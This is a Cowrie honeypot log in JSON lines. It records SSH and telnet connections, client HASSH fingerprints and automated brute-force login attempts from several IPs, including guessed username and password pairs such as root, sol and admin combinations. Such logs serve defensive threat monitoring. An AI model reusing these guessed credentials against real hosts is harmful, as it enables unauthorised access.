{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:19.449876Z","src_ip":"101.47.143.200","session":"7136265219f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:20.455765Z","src_ip":"101.47.143.200","session":"7136265219f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:20.694905Z","src_ip":"101.47.143.200","session":"9154612daf68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:54:20.701557Z","src_ip":"101.47.143.200","session":"7136265219f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41198,"dst_ip":"10.17.0.5","dst_port":22,"session":"80849cf766a7","protocol":"ssh","message":"New connection: 195.178.110.218:41198 (10.17.0.5:22) [session: 80849cf766a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:55:08.634806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:55:08.639859Z","src_ip":"195.178.110.218","session":"80849cf766a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:55:08.720656Z","src_ip":"195.178.110.218","session":"80849cf766a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:55:08.961100Z","src_ip":"195.178.110.218","session":"80849cf766a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:55:10.043654Z","src_ip":"195.178.110.218","session":"80849cf766a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b10a5dfb4df","protocol":"ssh","message":"New connection: 195.178.110.218:57244 (10.17.0.5:22) [session: 5b10a5dfb4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:48.500399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:48.505001Z","src_ip":"195.178.110.218","session":"5b10a5dfb4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:48.584790Z","src_ip":"195.178.110.218","session":"5b10a5dfb4df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:48.823759Z","src_ip":"195.178.110.218","session":"5b10a5dfb4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:49.905885Z","src_ip":"195.178.110.218","session":"5b10a5dfb4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.202.117.178","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf0db1bfb09","protocol":"telnet","message":"New connection: 172.202.117.178:40624 (10.17.0.5:23) [session: 4cf0db1bfb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:57:56.112501Z"}
{"eventid":"cowrie.session.closed","duration":10.03911805152893,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:58:06.151512Z","src_ip":"172.202.117.178","session":"4cf0db1bfb09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.202.117.178","src_port":54392,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5cd88ae463e","protocol":"telnet","message":"New connection: 172.202.117.178:54392 (10.17.0.5:23) [session: c5cd88ae463e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:58:06.195180Z"}
{"eventid":"cowrie.session.closed","duration":0.056897878646850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T17:58:06.251958Z","src_ip":"172.202.117.178","session":"c5cd88ae463e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52050,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f81343d4d2","protocol":"ssh","message":"New connection: 195.178.110.218:52050 (10.17.0.5:22) [session: 74f81343d4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:00:28.076768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:00:28.081240Z","src_ip":"195.178.110.218","session":"74f81343d4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:00:28.182847Z","src_ip":"195.178.110.218","session":"74f81343d4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:00:28.435242Z","src_ip":"195.178.110.218","session":"74f81343d4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:00:29.518745Z","src_ip":"195.178.110.218","session":"74f81343d4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.237.23.209","src_port":41179,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c3fd257793","protocol":"telnet","message":"New connection: 119.237.23.209:41179 (159.203.135.109:23) [session: 56c3fd257793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:02.873558Z"}
{"eventid":"cowrie.session.closed","duration":12.324730396270752,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:15.198196Z","src_ip":"119.237.23.209","session":"56c3fd257793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18bbae78a38","protocol":"ssh","message":"New connection: 195.178.110.218:46116 (10.17.0.5:22) [session: b18bbae78a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:20.778953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:20.786130Z","src_ip":"195.178.110.218","session":"b18bbae78a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:20.865891Z","src_ip":"195.178.110.218","session":"b18bbae78a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:21.105248Z","src_ip":"195.178.110.218","session":"b18bbae78a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:03:22.187987Z","src_ip":"195.178.110.218","session":"b18bbae78a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e59d8618c65","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 6e59d8618c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:04:22.328959Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:04:22.442305Z","src_ip":"77.90.185.16","session":"6e59d8618c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58018,"dst_ip":"10.17.0.5","dst_port":22,"session":"53821c59d20b","protocol":"ssh","message":"New connection: 195.178.110.218:58018 (10.17.0.5:22) [session: 53821c59d20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:06:01.119822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:06:01.124589Z","src_ip":"195.178.110.218","session":"53821c59d20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:06:01.204547Z","src_ip":"195.178.110.218","session":"53821c59d20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:06:01.445552Z","src_ip":"195.178.110.218","session":"53821c59d20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:06:02.528854Z","src_ip":"195.178.110.218","session":"53821c59d20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39906,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc875730676","protocol":"ssh","message":"New connection: 195.178.110.218:39906 (10.17.0.5:22) [session: 1bc875730676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:08:37.113815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:08:37.118746Z","src_ip":"195.178.110.218","session":"1bc875730676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:08:37.198616Z","src_ip":"195.178.110.218","session":"1bc875730676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:08:37.438216Z","src_ip":"195.178.110.218","session":"1bc875730676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:08:38.524667Z","src_ip":"195.178.110.218","session":"1bc875730676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44385,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b98707baa6d","protocol":"ssh","message":"New connection: 2.57.121.112:44385 (159.203.135.109:22) [session: 4b98707baa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:48.411338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:48.416878Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:48.523329Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01072000","message":"login attempt [admin/01072000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:09:49.019626Z","src_ip":"2.57.121.112","session":"4b98707baa6d","protocol":"ssh"}
